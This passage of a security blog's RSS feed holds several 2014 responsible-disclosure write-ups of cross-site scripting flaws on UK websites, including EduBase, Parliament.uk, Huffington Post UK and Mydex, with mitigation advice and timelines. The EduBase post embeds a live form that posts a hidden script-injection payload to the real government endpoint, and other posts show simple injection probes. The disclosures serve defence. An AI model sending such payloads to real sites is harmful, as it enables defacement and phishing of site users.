src="data:image/webp;base64,UklGRrgBAABXRUJQVlA4IKwBAAAQCgCdASowADAAPrVIn0unI6KhrjgJmOAWiWUAwoexOaXTKq7y0nJaRTHWS5EaCk91jsjkgh1pQc44arzK4NhHKJtgacWXZl9mEdCUz6Xi3+rtiH/mvOrM2AD++zx1ag6EhIOf4rd0L3F47SGjZjHEWQ776EdicikpZ7JYed1eyM+6iJEyNgwqaiduPvkuiP6dV4jtSHaKtb5hsAma8QxTwBbaG/ypV3Lnx+xVGCntpGEwQ4WEoTzKPLFKsPpuj/2B2m09g/T0Py+/yv/ToB/EblJSEia2+WIfL1xnOqlwFBEl5USb5vDxIAPs/1XUBoOLTGjBr48WdsMHuG7KyB/ROWCg4+CQolrMHje8/hOUpKvgwXzpvbQoVjTUlFCrl522A5Da1Noz0rg6YgzpzhVwoQPebdAstOoqoEeHrsifomX0JoCXx4SjtQvAJPb+aCjXXZJp0eAEuFnpF1Ri9VjiUKYvcO89hbnRBI9SoAquwV8dzAJh4XDvuq0x93LudzVL1IQAYxkRhpN31qRAV7gqolywj6mKFoLKdCPTMqr47lto/3G3O1G4kWYAAA==" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">James Temperton</p>@jtemperton</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody"><small class="social-embed-reply"><a href="https://twitter.com/edent/status/524503436705161216">Replying to @edent</a></small><a href="https://twitter.com/edent">@edent</a> Searches are like a series of tragic micro-stories. "hidden camera in the workplace", "when can i claim income support im pregnant"</section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/jtemperton/status/524505825906130944"><span aria-label="0 likes" class="social-embed-meta">❤️ 0</span><span aria-label="0 replies" class="social-embed-meta">💬 0</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2014-10-21T10:21:48.000Z" itemprop="datePublished">10:21 - Tue 21 October 2014</time></a></footer></blockquote>

<p>It was, sadly, deeply insecure.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/10/CAB-XSS-Example-fs8.png" alt="CAB XSS Example-fs8" width="720" height="334" class="aligncenter size-large wp-image-10881">

<p>It's falling foul of one of the most basic security flaws. It blindly echoes a user's input without checking or sanitising it.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/10/CAB-XSS-Search-fs8.png" alt="CAB XSS Search-fs8" width="1024" height="677" class="aligncenter size-full wp-image-10880">

<p>There's another potential flaw here. Privacy. Hopefully no one is dumb enough to type in their full name, address, or National Insurance number.</p>

<p><a href="http://www.michaelzimmer.org/2006/08/07/aol-proudly-releases-massive-amounts-of-private-data/">We've know for years that it's possible to reconstruct Personally Identifiable Information from "anonymous" searches</a>.</p>

<p>Can a malicious user look at the searches and identify you? How specific is your issue?</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/10/boyfriend-fs8.png" alt="boyfriend-fs8" width="429" height="131" class="aligncenter size-full wp-image-10883">

<p>Ask yourself this - how comfortable would you be with <em>every single search</em> you make being projected onto the side of a building?</p>

<hr>

<p>A few minutes after reporting this, <a href="https://twitter.com/philgyford/status/524511079825940480">the security flaw was fixed</a>.</p><p></p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=10825&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2014/10/privacy-and-security-flaw-with-cab/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[The Unsecured State Part 2 - EduBase XSS (Disclosed & Fixed)]]></title>
		<link>https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/</link>
					<comments>https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 04 Mar 2014 12:13:52 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[gove]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Unsecured State]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">http://shkspr.mobi/blog/?p=9796</guid>

					<description><![CDATA[This is part 2 of a series of blog posts looking at the security of the UK Government&#039;s web infrastructure.    Many XSS flaws rely on altering the GET parameters of a request.  Some webmasters seem to think that if their forms only use POST they will be immune from the XSS.  This is not the case.  Don&#039;t Press This Button  Pressing this button will send a POST request to the Department of…]]></description>
										<content:encoded><![CDATA[<p>This is part 2 of a <a href="https://shkspr.mobi/blog/tag/unsecured-state/">series of blog posts</a> looking at the security of the UK Government's web infrastructure.</p>

<hr>

<p>Many XSS flaws rely on altering the GET parameters of a request.  Some webmasters seem to think that if their forms only use POST they will be immune from the XSS.  This is <strong>not</strong> the case.</p>

<h2 id="dont-press-this-button"><a href="https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/#dont-press-this-button">Don't Press This Button</a></h2>

<p>Pressing this button will send a POST request to the Department of Education's EduBase website.</p>

<form id="quickSearch" action="https://www.education.gov.uk/edubase/home.xhtml" method="post">
    <input id="establishmentName.value" name="establishmentName.value" class="text autocompleteName" type="hidden" value="<h1/>XSS Demonstration<h2><a href='http://www.teachers.org.uk/campaigns/protect-teachers'>Demo link</a></h2><img src='https://gs1.wac.edgecastcdn.net/8019B6/data.tumblr.com/tumblr_m811uzuyp91rcq3oko1_500.jpg'/><br /><script>alert('JavaScript XSS');</script>">
<button><h2 id="demonstrate-xss"><a href="https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/#demonstrate-xss">Demonstrate XSS</a></h2></button>
</form>

<p>Up until yesterday, the site would blindly echo back anything that was sent to it.  Which resulted in the page looking something like this:
<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/02/Edubase-XSS-fs8.png" alt="Edubase XSS" width="765" height="466" class="aligncenter size-full wp-image-9801"></p>

<h2 id="code"><a href="https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/#code">Code</a></h2>

<p>HTML forms can direct your browser to POST information to <em>any</em> site.  It's even possible to hide the data from the user - so all they see is a big button to press.</p>

<pre><code class="language-html">&lt;form method="post"
   id="quickSearch"
   action="http://www.education.gov.uk/edubase/home.xhtml" &gt;
   &lt;input id="establishmentName.value"
          name="establishmentName.value"
          type="hidden"
          value="&lt;h1&gt;XSS Demonstration&lt;/h1&gt;
                 &lt;h2&gt;&lt;a href='http://www.teachers.org.uk/campaigns/protect-teachers'&gt;Demo link&lt;/a&gt;&lt;/h2&gt;
                 &lt;img src='https://gs1.wac.edgecastcdn.net/8019B6/data.tumblr.com/tumblr_m811uzuyp91rcq3oko1_500.jpg'/&gt;&lt;br /&gt;
                 &lt;script&gt;alert('JavaScript XSS');&lt;/script&gt;"
   /&gt;
   &lt;button&gt;Demonstrate XSS&lt;/button&gt;
&lt;/form&gt;
</code></pre>

<h2 id="mitigation"><a href="https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/#mitigation">Mitigation</a></h2>

<p><strong>Always escape untrusted data!</strong>  Read the <a href="https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html">OWASP cheat sheet</a> for more information.</p>

<p>When such a flaw is discovered and then reported, it is imperative that you have a plan to <em>rapidly</em> secure it.  It took <strong>27 days</strong> to get the fix into production.  I've no idea how long it was open for - or how many people exploited it in that time.</p>

<p>In this case, the Department for Education have outsourced EduBase to <a href="http://www.texuna.com/">Texuna</a> - a technology partner.  Texuna don't have any secure way for people to report flaws to them and, when notified, struggled to find someone who could take responsibility.</p>

<p>Texuna seemed to me unable to convey the urgency of the situation to the DfE.  A complicated public/private partnership with multiple stakeholders seems to mean that there is no way to escalate security issues.</p>

<p>While it is vitally important to thoroughly test security patches, there's also a very real risk involved in leaving a system unpatched.</p>

<p>This is a textbook example of where outsourcing fails.  The ideological agenda which promotes the lowest bidder is doomed to failure when a crisis occurs.  Responsibility is diffused, no one is empowered to make decisions, and without proper management oversight critical bugs are left unfixed.</p>

<p>Compare and contrast to <a href="https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/" title="The Unsecured State Part 1 - UK Parliament XSS Flaw (Disclosed &amp; Fixed)">yesterday's bug</a>.  An identical XSS bug in the Parliament.uk website was fixed <em>over a weekend</em>.  Because the Parliament team was centralised and highly motivated they were able to accomplish something a "highly trusted partner" could not.</p>

<p>It is not known how many more of Texuna's client's sites are in a similarly unsecured state.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/#timeline">Timeline</a></h2>

<ul>
    <li>5th February. Disclosed to Department of Education and their technology partner <a href="http://www.texuna.com/">Texuna</a>.</li>
<li>7th February. Disclosed to <a href="https://web.archive.org/web/20140313083224/http://www.cesg.gov.uk/policyguidance/GovCertUK/Pages/index.aspx">GovCertUK</a>.</li>
<li>12th February. Contacted the <a href="http://www.tes.co.uk/">TES Newspaper</a> to allow them to report on the story.</li>
    <li>26th February. According to Texuna a fix released - to be scheduled for production "soon".</li>
<li>28th February. Informed Texuna of publication date.</li>
<li>3rd March. Fixed.</li>
    <li>4th March. Published.</li>
</ul>

<h2 id="a-special-message-for-michael-gove"><a href="https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/#a-special-message-for-michael-gove">A Special Message For Michael Gove</a></h2>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/03/nobody-likes-you-gollum.gif" alt="Gollum from Lord of the Rings saying " nobody="" likes="" you.""="" width="244" height="240" class="aligncenter size-full wp-image-40757">
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=9796&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2014/03/edubase-xss-disclosed/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[The Unsecured State Part 1 - UK Parliament XSS Flaw (Disclosed & Fixed)]]></title>
		<link>https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/</link>
					<comments>https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Mon, 03 Mar 2014 08:11:15 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[parliament]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Unsecured State]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">http://shkspr.mobi/blog/?p=9814</guid>

					<description><![CDATA[This is part 1 of a series of blog posts looking at the security of the UK Government&#039;s web infrastructure.    The UK Parliament website is pretty great.  It houses a huge amount of historical information, lets people easily see what&#039;s happening in the Commons and the Lords, and is run by some really clever people.  That&#039;s why it&#039;s so depressing to see such a basic error as this XSS flaw in their …]]></description>
										<content:encoded><![CDATA[<p>This is part 1 of a <a href="https://shkspr.mobi/blog/tag/unsecured-state/">series of blog posts</a> looking at the security of the UK Government's web infrastructure.</p>

<hr>

<p>The UK Parliament website is pretty great.  It houses a huge amount of historical information, lets people easily see what's happening in the Commons and the Lords, and is run by some really clever people.</p>

<p>That's why it's so depressing to see such a basic error as this XSS flaw in their search engine.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/02/Parliament-XSS-fs8.png" alt="Parliament XSS" width="753" height="714" class="aligncenter size-full wp-image-9815">

<h2 id="what-is-xss"><a href="https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/#what-is-xss">What Is XSS?</a></h2>

<p>Briefly, some websites will let you display or run arbitrary code on them if you input that code in their search box.
<small>(It's a bit more complicated than that - but it'll do for an executive summary.)</small></p>

<p>By searching for the text</p>

<pre>&lt;em&gt;test
</pre>

<p>We can make the rest of the page display <em>in italics</em>.</p>

<p>This is because the page sees the &lt;em&gt; tag and echoes it back as part of the HTML.</p>

<p>What else can we do?</p>

<p>If we want to be cheeky - we can add iframes and YouTube videos onto the page.
<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/02/Parliament-XSS-Video-fs8.png" alt="Parliament XSS Video" width="904" height="774" class="aligncenter size-full wp-image-9816"></p>

<p>So, if the page will display any code we tell it, can we make it run JavaScript? Yes.</p>

<p>Searching for a string like</p>

<pre>&lt;script&gt;alert("hello");&lt;/script&gt;
</pre>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/02/Parliament-XSS-JavaScript-fs8.png" alt="Parliament XSS JavaScript" width="710" height="424" class="aligncenter size-full wp-image-9817">

<p>Hey presto, we can "decorate" this page with text, images, video, run JavaScript on there - using Firefox.</p>

<p>Now, what's interesting is that the iframe and JavaScript attacks <strong>don't work in the Chrome web browser</strong>.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/02/Parliament-XSS-Chrome-fs8.png" alt="Parliament XSS Chrome" width="739" height="347" class="aligncenter size-full wp-image-9819">

<p>Chrome has a reasonably good Anti XSS filter which strips out most JavaScript and iFrames (<a href="https://web.archive.org/web/20140406171753/http://blog.elevenpaths.com/2014/01/how-to-bypass-antixss-filter-in-chrome.html">although it can be bypassed</a>).</p>

<p>However, Chrome and Firefox both let through <em>seemingly</em> benign text formatting tags, as well as the more dangerous image and HTML5 video tags.
<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/02/Parliament-XSS-Chrome-video-fs8.png" alt="Parliament XSS Chrome video" width="739" height="532" class="aligncenter size-full wp-image-9820"></p>

<h2 id="putting-it-all-together"><a href="https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/#putting-it-all-together">Putting It All Together</a></h2>

<p>OK, so we can have a bit of mischief - but is that all that the bad guys can do?  No!  Even if they can't run JavaScript, they can still run pretty convincing adverts, or direct people to install malware, or a whole host of other nasty things.  Because the domain is <strong>parliament.uk</strong> it carries with it a significant level of trust.</p>

<p>Using XSS a spammer can place an HTML5 video selling their wares with an apparent Parliamentary endorsement.  They can add links, images, sound - everything they need for a scam.</p>

<p>Or, perhaps they are evil.  They can send an email to every MP saying:</p>

<blockquote><p>Please Reset your password - visit http://....</p></blockquote>

<p><img src="https://shkspr.mobi/blog/wp-content/uploads/2014/02/Parliament-XSS-Passwords-fs8.png" alt="Parliament XSS Passwords" width="739" height="549" class="aligncenter size-full wp-image-9822">
Before you know it, they've gathered the Minister for Administrative Affairs' private details and are plundering Sir Humphrey's vaults.</p>

<p>Yeah, the above doesn't look <em>brilliantly</em> convincing - but would you trust your MP to notice the discrepancies?</p>

<h2 id="mitigating"><a href="https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/#mitigating">Mitigating</a></h2>

<p>The simple rule is that you should <em>never ever</em> print out the content that the user has searched for.  If you have to, make absolutely sure that you escape all the characters and enforce strict limits on the number of characters returned.</p>

<p>Browsers should get better at detecting this.  While Chrome rightly blocks the iFrame and JavaScript - it thinks text, images, and videos are safe.  They're not.
In the above examples, the XSS code is echoed in the HTML Title, as well as the URL bar.  It should be fairly obvious to the browser that this is an unusual state of affairs.</p>

<h2 id="disclosure"><a href="https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/#disclosure">Disclosure</a></h2>

<ul>
<li>This XSS flaw was responsibly disclosed to the UK Parliament on Friday 7th February 2014.</li>
<li>On Tuesday 11th of February they confirmed that a fix had been put in place.</li>
<li>The <a href="https://shkspr.mobi/blog/2014/02/should-gov.uk-run-a-bug-bounty/">UK Government bug bounty</a> was paid on.... Oh... my mistake...</li>
</ul>

<hr>

<h2 id="bonus-satire"><a href="https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/#bonus-satire">BONUS SATIRE</a></h2>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/03/Parliament-XSS-Satire-fs8.png" alt="Parliament XSS Satire" width="850" height="843" class="aligncenter size-full wp-image-9827">
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=9814&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2014/03/uk-parliament-xss-flaw-disclosed/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Huffington Post UK XSS Flaw (Disclosed & Fixed)]]></title>
		<link>https://shkspr.mobi/blog/2014/02/huffington-post-uk-xss-flaw-disclosed/</link>
					<comments>https://shkspr.mobi/blog/2014/02/huffington-post-uk-xss-flaw-disclosed/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Thu, 27 Feb 2014 12:14:09 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[journalism]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">http://shkspr.mobi/blog/?p=9979</guid>

					<description><![CDATA[The UK version of the Huffington Post was vulnerable to an XSS flaw.  This allowed any malicious user to inject images, video, text, and JavaScript into the page.    Although the above image show a very silly use of XSS, it could quite easily be used to craft a page to encourage journalists and readers to enter their passwords - and then send them off to criminals.  What&#039;s unusual is that it…]]></description>
										<content:encoded><![CDATA[<p>The UK version of the Huffington Post was vulnerable to an XSS flaw.  This allowed any malicious user to inject images, video, text, and JavaScript into the page.</p>

<p><a href="http://ow.ly/tOPEK"><img src="https://shkspr.mobi/blog/wp-content/uploads/2014/02/Huff-Po-UK-XSS.jpg" alt="Huff Po UK XSS" width="720" height="796" class="aligncenter size-full wp-image-9980"></a></p>

<p>Although the above image show a very silly use of XSS, it could quite easily be used to craft a page to encourage journalists and readers to enter their passwords - and then send them off to criminals.</p>

<p>What's unusual is that it appears to be powered by Google Custom Search - which should really be robust against this source of attack.</p>

<p>I <strong>strongly encourage</strong> people to read and understand the <a href="https://wiki.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet">OWASP Guide to XSS</a> - and their other fine guides.</p>

<p>It will save a lot of heartache later on.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2014/02/huffington-post-uk-xss-flaw-disclosed/#timeline">Timeline</a></h2>

<ul>
    <li>20th February 2014 - Disclosed via their "technical problems with the website" form.</li>
    <li>21st February 2014 - No response, so escalated to the Executive Editor.</li>
    <li>26th February 2014 - <a href="https://web.archive.org/web/20200927043946/http://huff.to/1fHxnQt">Confirmed fixed</a>.</li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=9979&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2014/02/huffington-post-uk-xss-flaw-disclosed/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Mydex XSS Flaw (Disclosed & Fixed)]]></title>
		<link>https://shkspr.mobi/blog/2014/02/mydex-xss-flaw-disclosed-fixed/</link>
					<comments>https://shkspr.mobi/blog/2014/02/mydex-xss-flaw-disclosed-fixed/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Thu, 06 Feb 2014 12:03:40 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[identity]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">http://shkspr.mobi/blog/?p=9631</guid>

					<description><![CDATA[Ever heard of Mydex?  Here&#039;s how they describe themselves:  Mydex provides the individual with a hyper-secure storage area to enable them to manage their personal data, including text, numbers, images, video, certificates and sound. No-one but the individual can access or see the data.  Not just secure, but hyper-secure!  They&#039;ve been signed up by the UK Government to provide Identity Assurance.  …]]></description>
										<content:encoded><![CDATA[<p>Ever heard of <a href="http://mydex.org">Mydex</a>?  Here's how they describe themselves:</p>

<blockquote><p>Mydex provides the individual with a hyper-secure storage area to enable them to manage their personal data, including text, numbers, images, video, certificates and sound. No-one but the individual can access or see the data.</p></blockquote>

<p>Not just secure, but <em>hyper-secure</em>!  They've been <a href="https://gds.blog.gov.uk/2013/09/03/identity-assurance-first-delivery-contracts-signed/">signed up by the UK Government to provide Identity Assurance</a>.  Pretty impressive, eh?</p>

<p>Let's ignore the fact that their website doesn't use SSL and concentrate on the XSS flaw on the site.</p>

<p>Cross-Site-Scripting (XSS) is, in simple terms, a way to force a web page to run some malicious code against the wishes of its owner.  Let's take a look at a simple example:</p>

<p>By searching for</p>

<pre>&lt;em&gt;test</pre>

<p>We can force the page to display in italics.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/01/mydex-XSS-em-fs8.png" alt="mydex XSS em" width="804" height="857" class="aligncenter size-full wp-image-9641">

<p>This is because the search box's input isn't sanitised.  You can put whatever you want in there and the web page will display it.  For example, if you paste in the HTML code to display a photo, then this happens:</p>

<p><img src="https://shkspr.mobi/blog/wp-content/uploads/2014/01/mydex-img-xss-fs8.png" alt="mydex img xss" width="804" height="857" class="aligncenter size-full wp-image-9642">
Ok - so that's a bit annoying, but nothing too bad.  So, what happens if we try to inject JavaScript into the page?
<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/01/mydex-xss-script-fs8.png" alt="mydex xss script" width="896" height="857" class="aligncenter size-full wp-image-9640">
Aha!  Now we can <strong>run arbitrary code</strong> on this website.  In fact, we can completely take it over.  Using JavaScript we can tell the page to redirect to some other website, we can switch on the user's microphone and camera - all sorts of naughty tricks.</p>

<p>To Mydex's credit, a few minutes after reporting the flaw it was fixed.</p>

<p>There's absolutely <strong>no suggestion</strong> that any user's personal data was at risk here.  I would consider it extremely unlikely that anything entered into that search field could have caused an <a href="https://xkcd.com/327/">SQL injection attack</a>.</p>

<p>Mydex also operates a strict separation of their "publicity" site and their <a href="https://pds.mydex.org/">Personal Data Service</a> - which really does seem very secure.</p>

<p>It would, however, have been very easy for a scammer to set up a JavaScript redirection to a phishing site in order to trick a user into entering her personal details.  Similarly, an attacker could have sent Mydex staff a link saying "Please reset your admin password - click here" and been granted the keys to the kingdom.</p>

<p>The Open Web Application Security Project list their <a href="https://www.owasp.org/index.php/Top_10_2013-Top_10">top ten most critical web security risks facing organizations</a>.  XSS is number 3.</p>

<p>If you're running a website - especially one which deals in security - please take the time to read over the list and understand how to protect your business and your users.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2014/02/mydex-xss-flaw-disclosed-fixed/#timeline">Timeline</a></h2>

<ul>
<li>January 23rd - Reported and fixed.</li>
<li>February 5th - Publication agreed.</li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=9631&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2014/02/mydex-xss-flaw-disclosed-fixed/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
